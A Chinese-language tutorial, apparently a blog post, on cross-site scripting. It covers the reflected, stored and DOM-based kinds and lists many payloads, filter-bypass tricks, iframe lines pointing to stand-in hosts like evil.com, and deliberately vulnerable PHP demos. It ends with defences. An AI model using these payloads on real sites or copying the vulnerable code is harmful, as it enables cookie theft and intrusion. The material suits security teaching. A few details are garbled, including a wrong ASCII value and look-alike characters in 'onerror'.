精华内容
下载资源
问答
  • XSS跨站脚本攻击

    2013-04-25 10:01:15
    XSS跨站脚本攻击
  • xss跨站脚本攻击

    2017-05-26 15:21:50
    描述了一些xss跨站脚本攻击的原理以及预防。
  • XSS跨站脚本攻击原理及常见的脚本XSS跨站脚本攻击的原理什么是XSS跨站脚本XSS跨站脚本攻击的类别XSS跨站脚本攻击的方式XSS跨站脚本攻击的防御 XSS跨站脚本攻击的原理 什么是XSS跨站脚本 跨脚本(Cross-Site ...

    一.XSS跨站脚本攻击的原理

    1.什么是XSS跨站脚本

    跨站脚本(Cross-Site Scripting,XSS)是一种经常出现在Web应用程序中的的计算机安全漏洞,是由于Web应用程序对用户的输入过滤不足而产生的。攻击者利用网站漏洞把恶意的脚本代码(通过HTML代码和客户端Javascript脚本)注入到网页之中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害者用户可能采取Cookie资料窃取、会话劫持、钓鱼欺骗等各种攻击。
    开放式Web应用程序安全项目(Open Web Application Security Project,OWASP)是世界上最知名的Web安全与数据库安全研究组织,在该组织发布的2017年的统计中,XSS跨站脚本漏洞高居第三位
    2107 OWASP Top10 Web漏洞

    2.跨站脚本攻击产生因素

    1.Web浏览器本身的设计。浏览器包含了解析和执行JavaScript等脚本语言能力,这些语言可以创建各种格式丰富的功能,而浏览器只会执行,不会判断数据和程序代码是否有恶意;
    2.交互过程。输入与输出是Web应用程序最基本的交互,在这个过程中若没有做好安全防护,Web应用程序很容易出现XSS漏洞;
    3.XSS漏洞危害意识。很多人没有真正意识到XSS漏洞的危害,导致XSS漏洞受到开发人员忽视;
    4.触发方式简单。只要向HTML代码中注入脚本即可,且执行手段众多,譬如CSS、Flash等,完全防御是一件相当困难的事情;
    5.Web2.0的流行。Web2.0时代鼓励用户信息分享与交互,产生了越来越丰富的交互功能,如论坛、博客或社交网络,所以产生XSS漏洞的概率增加。

    二.XSS跨站脚本攻击的类别

    1.反射型跨站脚本

    反射型跨站脚本(Reflected Cross-site Scripting)也称作非持久型、参数型跨站脚本。这种类型的跨站脚本是最常见的,也是使用最广的一种,主要用于将恶意脚本附加到URL地址的参数中。

    反射型XSS的利用一般是攻击者通过特定的手法(如电子邮件),诱使用户去访问一个包含有恶意代码的URL,当受害者点击这些链接的时候,恶意的JavaScript代码会直接在受害者主机上的浏览器执行。只有在用户点击时才触发,而且只执行一次,非持久化,恶意URL的暴露问题可通过各种编码转换解决,以增强其迷惑性。此类XSS通常出现在网站的搜索栏、用户登入口的地方,常用来窃取客户端Cookie或进行钓鱼欺骗

    含恶意XSS链接
    访问链接
    上传数据
    下载数据
    执行恶意代码
    传递隐私数据
    或跳转钓鱼链接
    获取到用户隐私数据
    完成反射型XSS攻击
    攻击者
    用户
    浏览器
    正常服务器
    恶意服务器

    2.持久型跨站脚本

    持久型跨站脚本(Persistent Cross-site Scripting)也称作存储型跨站脚本(Stored Cross-site Scripting),比反射型跨站脚本更具有威胁性,并且可能影响到Web服务器自身的安全。
    持久型跨站脚本的利用不需要用户点击特定的URL,持久型XSS一般出现在网站的留言、评论、博客日志等交互处,攻击者事先将恶意的JavaScript代码上传或存储到具有漏洞的服务器中,只要用户浏览包含此恶意JavaScript代码的页面就会执行恶意代码。

    恶意代码
    正常访问
    上传数据
    恶意代码
    执行恶意代码
    上传用户数据
    注入脚本
    控制权限
    用户数据
    注入脚本
    攻击者
    漏洞服务器
    用户
    浏览器
    漏洞服务器
    恶意服务器
    恶意服务器
    攻击者

    持久型跨站脚本的危害比反射型XSS大,更严重的是持久型跨站脚本能轻易编写危害性更大的XSS蠕虫,跨站蠕虫是使用Ajax/JavaScript脚本语言编写,能在网站中事先病毒的几何数级传播,其感染程度和攻击效果十分可怕。

    三.XSS跨站脚本攻击的方式

    1.XSS构造剖析

    1. 绕过XSS-Filter
    为了防御跨站脚本攻击,会在Web应用中设计一个XSS Filter,即跨站脚本过滤器,用于分析用户提交的输入,并消除潜在的跨站脚本攻击、恶意的HTML或简单的HTML格式错误。XSS Filter一般是基于黑白名单的安全过滤策略,在用户提交信息时,会对所有的输入进行检验,如检测到黑名单中的数据,便进行拦截、编码和消毒过滤等处理。
    以下从“攻”的角度探讨一些测试用例:
    (1)利用<>标记注入HTML/JavaScript
    如果未限制<>等标记,那攻击者就能操作一个HTML标签,然后通过<script>标签插入恶意代码脚本;

    <script>alert(1);</script>  //弹出窗口显示“1”
    

    (2)利用HTML标签属性值执行XSS
    很多HTML标记中的属性都支持JavaScript:[code]伪协议形式,这个特殊的协议类型声明了URL主体是任意的JavaScript代码,由JavaScript的解释器运行,攻击者可以利用部分HTML标记的属性值进行XSS攻击;此类攻击具有一定的局限性,并不是所有的浏览器都支持Javascript伪协议

    <table background="javascript:alert(1);"></table>   //通过表格背景属性插入javascript代码
    <img src="javascript=alert(1);">   //通过图片链接插入javascript代码
    还有如下属性:href=、lowsrc=、bgsound=、value=、action=、dynsrc=

    注:通常只有引用文件的属性才能触发跨站脚本,也并非所有嵌入到Web页面中的脚本都是Javascript,还允许有其他值,比如Vbscript。
    (3)空格回车Tab键
    如果XSS Filter仅仅把敏感的输入字符列入黑名单,对敏感字javascript而言,用户可以利用空格、回车和Tab键绕过限制:

    <img src="java	script:alert(1);">   //java和script中的间隔为Tab键
    

    产生原因为JavaScript语句通常以分号结尾,如果JavaScript引擎确定一个语句是完整的,而这一行的结尾有换行符,那就可以省略分号,如果同一行由多个语句,那么每个语句就必须使用分号结束。除了在引号中分割单词或强制结束语句外,额外的空白无论与何种方式添加都无所谓;

    var a= true   //单语句可省略分号
    var a= true; var b= "this is also true";  //同一行多语句以‘;’结束
    var a
    ='hello word';   //换行赋值成功 
    

    (4)对标签属性值转码
    对普通的HTML标签属性值进行过滤,攻击者可以通过编码处理来绕过,因为HTML中属性值本身支持ASCII码形式。

    <img src="javascript:alert(1);">   //标准代码
    <img src="javascrip&#116&#58alert(1);">   //ASCII编码后
    //‘t’的ASCII码值为166,用‘&#116’表示,‘:’则表示为‘&#58’
    //此外Tab键的ASCII码‘&#9’、换行键的‘&#10’、回车键的‘&#13’可以被插入到代码的任意位置。 
    

    为了防范利用HTML标签属性值编码的XSS,最好也过滤‘&’,‘#’,‘\’等字符;
    (5)产生自己的事件
    JavaScript与HTML之间的交互是通过事件来实现的,事件就是用户或浏览器自身执行的某些动作,而响应事件的函数就叫做事件处理函数(或事件侦听器)

    //点击【click me】按钮,触发onclick事件,执行JavaScript代码
    <input type="button" value="click me" onclick="alert('click me')" />
    

    攻击者可以通过大量事件执行跨站脚本,只列举部分:

    <img src=x onerror=alert(1)>
    //onerror是img标记的一个事件,只要页面发生错误,该事件立即被激活
    
    ondblclick   //鼠标双击某个对象
    onkeypress   //某个键盘的键被按下或按住
    onload   //某个页面或图像被完成加载
    onmousemove   //鼠标被移动
    onsubmit   //提交按钮被点击
    

    (6)扰乱过滤原则

    <img src="javascript:alert(1);">   //正常
    <IMG SRC="javascript:alert(1);">   //转换大小写
    <iMg sRC="jaVasCript:alert(1);">   //大小写混淆
    <img src='javascript:alert(1);'>   //使用单引号
    <img src=javascript:alert(1);>   //不使用引号
    <img src="java/*javascript*/script:alert(1);">   //使用注释
    //除了/**/之外,样式标签中的‘\’和结束符‘\0’也是被浏览器忽略
    

    以上的XSS构造技巧只是冰山一角,由于Web浏览器种类、版本的不同,各自的HTML、CSS、JavaScript等引擎也存在着各种各样的差异,再加上各个站点采用了不同的XSS检测和防范策略,XSS构造技术五花八门、包罗万象。在测试XSS的过程中,需要尝试各种XSS注入语句,以绕过服务器端对跨站脚本的过滤,国外著名安全工程师Rsnake把自己对XSS的研究总结成XSS Cheat Sheet,当中罗列了各种各样的XSS代码,引用中文翻译的一片文章。
    XSS Filter Evasion Cheat Sheet 中文版

    四.XSS跨站脚本攻击的利用

    XSS攻击属于被动式攻击,具有一定的局限性,只能在用户访问特定页面的时候才会触发漏洞,离开页面后攻击也随之失效。以下简单剖析一些常见的XSS攻击的利用:

    1.Cookie窃取

    窃取客户端Cookie资料是XSS攻击最常见的应用方式之一。
    Cookie是用户浏览网页时网站存储在用户机器上的小文本文件,记录了与用户相关的一些状态或设置,比如用户名、ID、访问次数等,当用户再一次访问这个网站的时候,网站会先访问用户机器上对应的该网站的Cookie文件,并从中读取信息,以便快速访问。

    2.会话劫持

    Session会话控制:Session对象存储特定用户会话所需的属性及配置信息。当用户在应用程序的Web页之间跳转时,存储在Session对象中的变量将不会丢失,而是在整个用户会话中一直存在下去。当用户请求来自应用程序的 Web页时,如果该用户还没有会话,则Web服务器将自动创建一个 Session对象。当会话过期或被放弃后,服务器将终止该会话。Session 对象最常见的一个用法就是存储用户的首选项。Session和Cookie的最大区别在于:Session是保存在服务器端的内存里面,而Cookie保存于浏览器或客户端文件里面。
    会话劫持指攻击者利用XSS劫持了用户的会话去执行某些恶意操作,这些操作往往能达到提升权限的目的。

    3.网络钓鱼

    **网络钓鱼(Phishing)**是一种利用网络进行欺诈的手段,主要通过受害者心理弱点、好奇心、信任度等心理陷阱来实现诈骗,属于社会工程学的一种。网络钓鱼利用有一定概率使人信任并相应的原则进行攻击,现今在很多客户端和大型Web网站加入了反钓鱼功能,因此成功率较低。
    但人们未意识到集合XSS技术的网络钓鱼是最具威胁的一种攻击手段,传统的钓鱼攻击通过复制目标网站与用户进行交互而实现,这种钓鱼网站域名和页面一般是独立的,而结合XSS技术后,攻击者能通过JavaScript动态控制页面内容和Web客户端的逻辑,使XSS钓鱼的欺骗性和成功率大大增加。

    4.XSS History Hack

    运用一些JavaScript/CSS的技巧,攻击者能获取用户浏览器的某些历史记录,甚至是在搜索引擎输入的查询字符,其原理只是利用了CSS能定义和控制链接样式的特性

    5.客户端信息刺探

    通过JavaScript/XSS提取有用的客户端信息,如浏览器访问记录、IP地址、开发端口等,即可发动新一轮的攻击
    (1)JavaScript实现端口扫描
    JavaScript可对用户本地网络中的主机进行端口扫描,这可以探测其主机提供的计算机网络服务类型,这些服务与端口号相关,例如21端口对应FTP服务,3306端口对应Mysql服务等。
    (2)截取剪切板内容
    JavaScript有一个很强大的特性,就是可以操作客户端的剪贴板内容,在用户浏览网页时,粘贴复制的一些重要的信息,这些信息可能含有用户账号、密码等一些隐私数据。如果网站存在XSS漏洞,攻击者就可以窃取到这些重要的信息:

    clearData(sDataFormat)   //删除剪贴板中指定格式的数据
    getData(sDataFormat)   //从剪贴板获取指定格式的数据
    setData(sDataFormat, sData)   //给剪贴板赋予制定格式的数据
    

    (3)获取客户端IP地址
    利用JavaScript脚本代码,还能够获取客户端内网IP,依托一些IP查询网站,即可获取外网IP。

    6.其他恶意攻击剖析

    (1)网页挂马:网页木马隐蔽性很高,看似正常的网页,在用户浏览时运行木马程序,因为在浏览器中执行下载运行,用户是无法察觉的。网页挂马技术门槛不高,但下载的病毒危害性很高。网页挂马方式很多,一般都是通过篡改网页来实现的,例如在XSS攻击中使用<iframe>标签,当挂马网页在浏览器执行后,边指引浏览器加载网页木马的链接:

    <iframe  src=xxx width=0 height=0></iframe>
    //由于高度宽度都设置为0,所以用户不会察觉到
    

    (2)DOS和DDOS
    DOS(Denial of Service)是拒绝服务攻击,这种攻击会利用大量数据包“淹没”目标主机,耗尽资源导致系统崩溃,使目标主机无法对用户作出相应反馈。

    <script>for (;;) alert(1);</script>   //无尽弹框,但可被浏览器禁止
    <meta http-equiv=“refresh” content=0>     //不断刷新页面
    

    DDOS(Distributed Denial of Service)是指分布式拒绝服务攻击,是目前攻击者经常采用而难以防范的攻击手段。攻击者利用因特网上成千上万的Zombie(僵尸,即被利用的主机),对目标发动威力巨大的拒绝服务攻击。攻击者通过XSS注入恶意代码对一个网站持续不断地发送请求,或通过XSS劫持大量的浏览器实施此攻击

    发送请求
    发送请求
    发送请求
    发送请求
    用户
    服务器
    用户
    用户
    用户

    (3)XSS Virus/Worm:类似于个人计算机平台上的病毒,有潜伏、后门的特性,可以用于盗号、窃取用户隐私信息,主要在客户端执行恶意攻击,类似蠕虫病毒具有自我复制的攻击形态,因为使用JavaScript、Vbsccript等客户端语言编写,所以在Web平台能得到很好的支持。由于JavaScript等语言控制着Web客户端的逻辑,所以破坏性很强,能执行许多恶意操作,例如非法转账、任意篡改页面信息、删除目标文章等,如果利用XSS进行大批量的挂马,将造成更加严重的后果。

    五.XSS跨站脚本攻击的工具

    1.Google Chrome插件
    (1)EditThisCookie
    (2)HTTP Headers
    (3)ModHeader
    2.Firefox浏览器插件
    3.Fiddler
    Fiddler是一款免费且功能强大的HTTP/HTTPS网络调试器,该工具能检测和记录所有客户端和服务器之间的HTTP通信,此外还提供了清除IE缓存、请求构造器、文本转换等功能。
    4.Kali-BeEF
    BeEFThe Browser Exploitation Framework的缩写。它是一种专注于Web浏览器的功能强大的渗透测试工具。为经验丰富的渗透测试人员提供实用的客户端攻击向量。BeEF专注于利用浏览器漏洞来评估目标的安全状况。该框架包含许多使用简单而强大的API的命令模块,也支持自定义模块的开发。
    5.在线XSS平台
    XSS平台

    六.XSS跨站脚本攻击的发掘

    七.XSS跨站脚本攻击的防御

    展开全文
  • XSS跨站脚本攻击剖析与防御内容简介XSS跨站脚本攻击剖析与防御是一本专门剖析XSS安全的专业书,总共8章,主要包括的内容如下。第1章 XSS初探,主要阐述了XSS的基础知识,包括XSS的攻击原理和危害。第2章 XSS利用方式...

    XSS跨站脚本攻击剖析与防御

    04b65086a81b1bccfb5e51762b8efac3.png

    内容简介

    XSS跨站脚本攻击剖析与防御是一本专门剖析XSS安全的专业书,总共8章,主要包括的内容如下。第1章 XSS初探,主要阐述了XSS的基础知识,包括XSS的攻击原理和危害。第2章 XSS利用方式,就当前比较流行的XSS利用方式做了深入的剖析,这些攻击往往基于客户端,从挂马、窃取Cookies、会话劫持到钓鱼欺骗,各种攻击都不容忽视。第3章 XSS测试和利用工具,介绍了一些常见的XSS测试工具。第4章 发掘XSS漏洞,着重以黑盒和白盒的角度介绍如何发掘XSS漏洞,以便帮助读者树立安全意识。第5章 XSS Worm,讲解了Web 2.0的最大威胁——跨站脚本蠕虫,剖析了Web 2.0相关概念和其核心技术,这些知识对于理解和预防XSS Worm十分重要。第6章 Flash应用安全,就当前的Flash应用安全做出了深入阐述。第7章 深入XSS原理,讨论一些比较深入的XSS理论。第8章 防御XSS攻击,介绍了一些防范XSS攻击的方法,例如,运用XSS Filter进行输入过滤和输出编码,使用Firefox浏览器的Noscript插件抵御XSS攻击,使用HTTP-only的Cookies同样能起到保护敏感数据的作用。

    XSS跨站脚本攻击剖析与防御适合网站管理人员、信息/网络安全或相关工作从业者、软件开发工程师,以及任何对Web安全技术感兴趣的读者。

    目录

    第1章XSS初探1
    第2章XSS利用方式剖析45
    第3章XSS测试和工具剖析75
    第4章发掘XSS漏洞104
    第5章XSS Worm剖析135
    第6章Flash应用安全156
    第7章深入XSS原理181
    第8章防御XSS攻击234

    下载链接

    链接:https://pan.baidu.com/s/1O_yNpnTK1XZoX0ZVCkL9QQ

    提取码:6wp2

    CISP资料库房

    关注CISP资料库获取更多资讯

    9ae1859801c97fcb28417caf8771e4ff.png
    775cea447988b40d74ff06f93777a01f.png
    展开全文
  • 跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web...

    海豚精灵https://www.whhtjl.com优课GOhttps://mgo.whhtjl.com

    XSS(跨站脚本)漏洞详解

    XSS的原理和分类

    跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。XSS攻击针对的是用户层面的攻击!

    XSS分为:存储型 、反射型 、DOM型XSS

    存储型XSS:存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,插入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie
    反射型XSS:非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面
    DOM型XSS:不经过后端,DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,DOM-XSS是通过url传入参数去控制触发的,其实也属于反射型XSS。 

    document.referer
    window.name
    location
    innerHTML
    documen.write
    

    如图,我们在URL中传入参数的值,然后客户端页面通过js脚本利用DOM的方法获得URL中参数的值,再通过DOM方法赋值给选择列表,该过程没有经过后端,完全是在前端完成的。所以,我们就可以在我们输入的参数上做手脚了。

    XSS的攻击载荷

    <script>标签:<script>标签是最直接的XSS有效载荷,脚本标记可以引用外部的JavaScript代码,也可以将代码插入脚本标记中

    <script src=http://xxx.com/xss.js></script>  #引用外部的xss
    <script> alert("hack")</script>   #弹出hack
    <script>alert(document.cookie)</script> #弹出cookie
    

    <img>标签

    <img  src=1  onerror=alert("hack")>
    <img  src=1  onerror=alert(/hack/)>
    <img  src=1  onerror=alert(document.cookie)>  #弹出cookie
    <img  src=1  onerror=alert(123)>      注:对于数字,可以不用引号
    <img  src="javascript:alert("XSS");">
    <img  dynsrc="javascript:alert('XSS')">
    <img  lowsrc="javascript:alert('XSS')">
    

    <body>标签:可以使用onload属性或其他更加模糊的属性(如属性)在标记内部传递XSS有效内容background

    <body onload=alert("XSS")>
    <body background="javascript:alert("XSS")">
    

    <iframe>标签:该<iframe>标签允许另一个HTML网页的嵌入到父页面。IFrame可以包含JavaScript,但是,请注意,由于浏览器的内容安全策略(CSP),iFrame中的JavaScript无法访问父页面的DOM。然而,IFrame仍然是非常有效的解除网络钓鱼攻击的手段。

    <iframe src=”http://evil.com/xss.html”>
    

    <input>标签:在某些浏览器中,如果标记的type属性<input>设置为image,则可以对其进行操作以嵌入脚本

    <input type="image" src="javascript:alert('XSS');">
    

    <link>标签<link>标签,这是经常被用来连接外部的样式表可以包含的脚本

    <link rel="stylesheet" href="javascript:alert('XSS');">
    

    <table>标签:可以利用和标签的background属性来引用脚本而不是图像

    <table background="javascript:alert('XSS')">
     
    <td background="javascript:alert('XSS')">
    

    <div>标签:该<div>标签,类似于<table><td>标签也可以指定一个背景,因此嵌入的脚本。

    <div style="background-image: url(javascript:alert('XSS'))">
     
    <div style="width: expression(alert('XSS'));">
    

    <object>标签:该<object>标签可用于从外部站点脚本包含

    <object type="text/x-scriptlet" data="http://hacker.com/xss.html">
    

    XSS可以插在哪里? 
    用户输入作为script标签内容
    用户输入作为HTML注释内容
    用户输入作为HTML标签的属性名
    用户输入作为HTML标签的属性值
    用户输入作为HTML标签的名字
    直接插入到CSS里
    最重要的是,千万不要引入任何不可信的第三方JavaScript到页面里!

    #用户输入作为HTML注释内容,导致攻击者可以进行闭合绕过
    <!-- 用户输入 -->
    <!-- --><script>alert('hack')</script><!-- -->
     
    #用户输入作为标签属性名,导致攻击者可以进行闭合绕过
    <div 用户输入="xx">  </div>
    <div ></div><script>alert('hack')</script><div a="xx"> </div>
     
    #用户输入作为标签属性值,导致攻击者可以进行闭合绕过
    <div id="用户输入"></div>
    <div id=""></div><script>alert('hack')</script><div a="x"></div>
     
    #用户输入作为标签名,导致攻击者可以进行闭合绕过
    <用户输入  id="xx" />
    <><script>alert('hack')</script><b id="xx" />
     
    #用户输入作为CSS内容,导致攻击者可以进行闭合绕过
    <style>用户输入<style>
    <style> </style><script>alert('hack')</script><style> </style>
    

    XSS漏洞的挖掘 
    黑盒测试

    尽可能找到一切用户可控并且能够输出在页面代码中的地方,比如下面这些:

    URL的每一个参数
    URL本身
    表单
    搜索框
    常见业务场景

    重灾区:评论区、留言区、个人信息、订单信息等
    针对型:站内信、网页即时通讯、私信、意见反馈
    存在风险:搜索框、当前目录、图片属性等
    白盒测试(代码审计)

    关于XSS的代码审计主要就是从接收参数的地方和一些关键词入手。

    PHP中常见的接收参数的方式有$_GET、$_POST、$_REQUEST等等,可以搜索所有接收参数的地方。然后对接收到的数据进行跟踪,看看有没有输出到页面中,然后看输出到页面中的数据是否进行了过滤和html编码等处理。

    也可以搜索类似echo这样的输出语句,跟踪输出的变量是从哪里来的,我们是否能控制,如果从数据库中取的,是否能控制存到数据库中的数据,存到数据库之前有没有进行过滤等等。

    大多数程序会对接收参数封装在公共文件的函数中统一调用,我们就需要审计这些公共函数看有没有过滤,能否绕过等等。

    同理审计DOM型注入可以搜索一些js操作DOM元素的关键词进行审计。

    XSS的攻击过程
    反射型XSS漏洞:

    Alice经常浏览某个网站,此网站为Bob所拥有。Bob的站点需要Alice使用用户名/密码进行登录,并存储了Alice敏感信息(比如银行帐户信息)。
    Tom 发现 Bob的站点存在反射性的XSS漏洞
    Tom编写了一个包含恶意代码的URL,并利用各种手段诱使Alice点击
    Alice在登录到Bob的站点后,浏览了 Tom 提供的URL
    嵌入到URL中的恶意脚本在Alice的浏览器中执行。此脚本盗窃敏感信息(cookie、帐号信息等信息)。然后在Alice完全不知情的情况下将这些信息发送给 Tom。
    Tom 利用获取到的cookie就可以以Alice的身份登录Bob的站点,如果脚本的功更强大的话,Tom 还可以对Alice的浏览器做控制并进一步利用漏洞控制
    存储型XSS漏洞:

    Bob拥有一个Web站点,该站点允许用户发布信息/浏览已发布的信息。
    Tom检测到Bob的站点存在存储型的XSS漏洞。
    Tom在Bob的网站上发布一个带有恶意脚本的热点信息,该热点信息存储在了Bob的服务器的数据库中,然后吸引其它用户来阅读该热点信息。
    Bob或者是任何的其他人如Alice浏览该信息之后,Tom的恶意脚本就会执行。
    Tom的恶意脚本执行后,Tom就可以对浏览器该页面的用户发动一起XSS攻击
    XSS漏洞的危害
    从以上我们可以知道,存储型的XSS危害最大。因为他存储在服务器端,所以不需要我们和被攻击者有任何接触,只要被攻击者访问了该页面就会遭受攻击。而反射型和DOM型的XSS则需要我们去诱使用户点击我们构造的恶意的URL,需要我们和用户有直接或者间接的接触,比如利用社会工程学或者利用在其他网页挂马的方式。

    那么,利用XSS漏洞可以干什么呢?

    如果我们的JS水平一般的话,我们可以利用网上免费的XSS平台来构造代码实施攻击。

    XSS漏洞的攻击测试

    反射型XSS:

    先放出源代码

    //前端 1.html:
    <html>
    <head lang="en">
        <meta charset="UTF-8">
        <title>反射型XSS</title>
    </head>
    <body>
        <form action="action.php" method="post">
            <input type="text" name="name" />
            <input type="submit" value="提交">
        </form>
    </body>
    </html>
     
    //后端 action.php:
    <?php
        $name=$_POST["name"]; 
    	echo $name;
    ?>
    

    这里有一个用户提交的页面,用户可以在此提交数据,数据提交之后给后台处理

    所以,我们可以在输入框中提交数据: <script>alert('hack')</script>  ,看看会有什么反应

    页面直接弹出了hack的页面,可以看到,我们插入的语句已经被页面给执行了。
    这就是最基本的反射型的XSS漏洞,这种漏洞数据流向是: 前端-->后端-->前端

    存储型XSS:

    先给出源代码

    //前端:2.html
    <html>
    <head lang="en">
        <meta charset="UTF-8">
        <title>存储型XSS</title>
    </head>
    <body>
        <form action="action2.php" method="post">
            输入你的ID:  <input type="text" name="id" /> <br/>
            输入你的Name:<input type="text" name="name" /> <br/>
            <input type="submit" value="提交">
        </form>
    </body>
    </html>
    //后端:action2.php
    <?php
    	$id=$_POST["id"];
    	$name=$_POST["name"];
    	mysql_connect("localhost","root","root");
    	mysql_select_db("test");
    	
    	$sql="insert into xss value ($id,'$name')";
    	$result=mysql_query($sql);
    ?>
    //供其他用户访问页面:show2.php
    <?php
    	mysql_connect("localhost","root","root");
    	mysql_select_db("test");
    	$sql="select * from xss where id=1";
    	$result=mysql_query($sql);
    	while($row=mysql_fetch_array($result)){
    		echo $row['name'];
    	}
    ?>
    

    这里有一个用户提交的页面,数据提交给后端之后,后端存储在数据库中。然后当其他用户访问另一个页面的时候,后端调出该数据,显示给另一个用户,XSS代码就被执行了。

    我们输入 1   和 <script>alert(\'hack\')</script>   ,注意,这里的hack的单引号要进行转义,因为sql语句中的$name是单引号的,所以这里不转义的话就会闭合sql语句中的单引号。不然注入不进去。提交了之后,我们看看数据库

    可以看到,我们的XSS语句已经插入到数据库中了
    然后当其他用户访问 show2.php 页面时,我们插入的XSS代码就执行了。
    存储型XSS的数据流向是:前端-->后端-->数据库-->后端-->前端

    DOM型XSS:

    先放上源代码

    // 前端3.html
    <html>
    <head lang="en">
        <meta charset="UTF-8">
        <title>DOM型XSS</title>
    </head>
    <body>
        <form action="action3.php" method="post">
            <input type="text" name="name" />
            <input type="submit" value="提交">
        </form>
    </body>
    </html>
    // 后端action3.php
    <?php
      $name=$_POST["name"];
    ?>
    <input id="text" type="text" value="<?php echo $name; ?>"/>
    <div id="print"></div>
    <script type="text/javascript">
      var text=document.getElementById("text");
      var print=document.getElementById("print");
      print.innerHTML=text.value;  // 获取 text的值,并且输出在print内。这里是导致xss的主要原因。
    </script>
    

    这里有一个用户提交的页面,用户可以在此提交数据,数据提交之后给后台处理

    我们可以输入 <img src=1 οnerrοr=alert('hack')>     ,然后看看页面的变化

    页面直接弹出了 hack 的页面,可以看到,我们插入的语句已经被页面给执行了。
    这就是DOM型XSS漏洞,这种漏洞数据流向是: 前端-->浏览器

    XSS的过滤和绕过
    前面讲sql注入的时候,我们讲过程序猿对于sql注入的一些过滤,利用一些函数(如:preg_replace()),将组成sql语句的一些字符给过滤,以防止注入。那么,程序猿也可以用一些函数将构成xss代码的一些关键字符给过滤了。可是,道高一尺魔高一丈,虽然过滤了,但是还是可以进行过滤绕过,以达到XSS攻击的目的。

    一:区分大小写过滤标签

    先放上源代码

    //前端 1.html:
    <html>
    <head lang="en">
        <meta charset="UTF-8">
        <title>反射型XSS</title>
    </head>
    <body>
        <form action="action4.php" method="post">
            <input type="text" name="name" />
            <input type="submit" value="提交">
        </form>
    </body>
    </html>
     
    //后端 action4.php:
    <?php
    $name=$_POST["name"]; 
    if($name!=null){
    	$name=preg_replace("/<script>/","",$name);      //过滤<script>
    	$name=preg_replace("/<\/script>/","",$name);   //过滤</script>
    	echo $name; 
    }
    ?>
    

    绕过技巧:可以使用大小写绕过  <scripT>alert('hack')</scripT>

    二:不区分大小写过滤标签

    先放上源代码

    这个和上面的代码一模一样,只不过是过滤的时候多加了一个 i ,以不区分大小写

    $name=preg_replace("/<script>/i","",$name);    //不区分大小写过滤 <script>
    $name=preg_replace("/<\/script>/i","",$name);  //不区分大小写过滤 </script>
    

    绕过技巧:可以使用嵌套的script标签绕过   <scr<script>ipt>alert('hack')</scr</script>ipt>

    三:不区分大小写,过滤之间的所有内容

    先放上源代码

    这个和上面的代码一模一样,只不过是过滤的时候过滤条件发生了变化 

    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); //过滤了<script  及其之间的所有内容
    

    虽然无法使用<script>标签注入XSS代码,但是可以通过img、body等标签的事件或者 iframe 等标签的 src 注入恶意的 js 代码。

    payload:  <img src=1 οnerrοr=alert('hack')>

    我们可以输入 <img src=1 οnerrοr=alert('hack')>     ,然后看看页面的变化

    XSS的防御
    XSS防御的总体思路是:对用户的输入(和URL参数)进行过滤,对输出进行html编码。也就是对用户提交的所有内容进行过滤,对url中的参数进行过滤,过滤掉会导致脚本执行的相关内容;然后对动态输出到页面的内容进行html编码,使脚本无法在浏览器中执行。

    对输入的内容进行过滤,可以分为黑名单过滤和白名单过滤。黑名单过滤虽然可以拦截大部分的XSS攻击,但是还是存在被绕过的风险。白名单过滤虽然可以基本杜绝XSS攻击,但是真实环境中一般是不能进行如此严格的白名单过滤的。

    对输出进行html编码,就是通过函数,将用户的输入的数据进行html编码,使其不能作为脚本运行。

    如下,是使用php中的htmlspecialchars函数对用户输入的name参数进行html编码,将其转换为html实体

    #使用htmlspecialchars函数对用户输入的name参数进行html编码,将其转换为html实体
    $name = htmlspecialchars( $_GET[ 'name' ] );
    

    XSS跨站脚本攻击在Java开发中防范的方法

    1. 防堵跨站漏洞,阻止攻击者利用在被攻击网站上发布跨站攻击语句不可以信任用户提交的任何内容,首先代码里对用户输入的地方和变量都需要仔细检查长度和对”<”,”>”,”;”,”’”等字符做过滤;其次任何内容写到页面之前都必须加以encode,避免不小心把html tag 弄出来。这一个层面做好,至少可以堵住超过一半的XSS 攻击。

    2. Cookie 防盗

    首先避免直接在cookie 中泄露用户隐私,例如email、密码等等。其次通过使cookie 和系统ip 绑定来降低cookie 泄露后的危险。这样攻击者得到的cookie 没有实际价值,不可能拿来重放。

    3. 尽量采用POST 而非GET 提交表单

    POST 操作不可能绕开javascript 的使用,这会给攻击者增加难度,减少可利用的

    跨站漏洞。

    4. 严格检查refer

    检查http refer 是否来自预料中的url。这可以阻止第2 类攻击手法发起的http 请求,也能防止大部分第1 类攻击手法,除非正好在特权操作的引用页上种了跨站访问。

    5. 将单步流程改为多步,在多步流程中引入效验码

    多步流程中每一步都产生一个验证码作为hidden 表单元素嵌在中间页面,下一步操作时这个验证码被提交到服务器,服务器检查这个验证码是否匹配。

    首先这为第1 类攻击者大大增加了麻烦。其次攻击者必须在多步流程中拿到上一步产生的效验码才有可能发起下一步请求,这在第2 类攻击中是几乎无法做到的。

    6. 引入用户交互

    简单的一个看图识数可以堵住几乎所有的非预期特权操作。

    7. 只在允许anonymous 访问的地方使用动态的javascript。

    8. 对于用户提交信息的中的img 等link,检查是否有重定向回本站、不是真的图片等

    可疑操作。

    9. 内部管理网站的问题

